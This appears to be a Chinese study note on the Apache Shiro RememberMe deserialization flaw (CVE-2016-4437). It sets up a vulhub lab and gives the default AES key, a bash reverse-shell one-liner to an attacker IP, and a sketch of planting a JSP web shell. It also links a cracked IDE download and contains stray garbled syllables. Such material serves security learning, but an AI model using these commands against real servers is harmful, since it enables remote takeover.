shiro漏洞概述
Shiro提供了记住我(RememberMe)的功能,比如访问如淘宝等一些网站时,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问,但是设计到一些支付等敏感操作时,可能还需要再次验证。
而shiro默认使用了CookieRememberMeManager接口,就是rememberme功能,。
其处理cookie的流程是: 得到rememberMe的cookie值,先进行Base64解码,再进行AES解密,最后进行反序列化。
但是shiro本身有一个预设密钥Base64.decode(“kPH bIxk5D2deZiIxcaaaA==”),漏洞的突破口也是这点,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令
漏洞影响
Apache Shiro <= 1.2.4
事实上,只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
shell反弹
https://blog.csdn.net/qq_33020901/article/details/78600382
bash -i >&/dev/tcp/192.168.190.138/6666 0>&1
对于速食主义者,后面的内容可以选择忽略
命令 | 解释 |
---|---|
bash -i | 产生一个交互式bash |
>& /dev/tcp/ip/port | 建立TCP连接,并将标准输出和错误重定向到TCP连接 |
0>&1 | 从TCP连接获取输入 |
java反射
1.反射机制
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
反序列化bai顾名思义就是用二进duzhi的形式dao来生成文件,zhuan由于common-collections.jar几乎在所有项目shu里都会dao被用到,所以当这个漏洞被发现并在这个jar包内实现攻击时,几乎影响了一大批的项目,weblogic的中枪立刻提升了这个漏洞的等级(对weblogic不熟悉的可以百度)。
至于如何使用这个漏洞对系统发起攻击,举一个简单的例子,我通过本地java程序将一个带有后门漏洞的jsp(一般来说这个jsp里的代码会是文件上传和网页版的SHELL)序列化,将序列化后的二进制流发送给有这个漏洞的服务器,服务器会自动根据流反序列化的结果生成文件,然后就可以大摇大摆的直接访问这个生成的JSP文件把服务器当后花园了
其他概念
- 认证
- 授权
- 网站登陆身份验证
- Apache Shiro <=1.2.4版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。
- 攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞CVE-2016-4437,进而在目标机器上执行任意命令。
其他环境准备
*idea破解版
https://www.jb51.net/softs/758790.html#downintro2
- 环境变量配置不当失效
解决 /usr/bin/vim ~/.bash_profile
其他Mac系统改坏.bash_profile文件解决方案
https://blog.csdn.net/weixin_42346767/article/details/103530377 - sh类型导致安装maven jdk环境变量问题
macOS切换bash和zsh
https://blog.csdn.net/u012628581/article/details/88534491 - MAC安装home brew
https://blog.csdn.net/yuanshangshenghuo/article/details/106599836
shiro漏洞后台环境
docker-compose.yml
version: '2'
services:
web:
image: vulhub/shiro:1.2.4
ports:
- "8080:8080"
运行docker
docker-compose -f docker-compose.yml up
java序列化工具或者可以直接下载相应jar包使用
ysoserial
进到target文件路径下,利用相关jar包来生成.ser序列化文件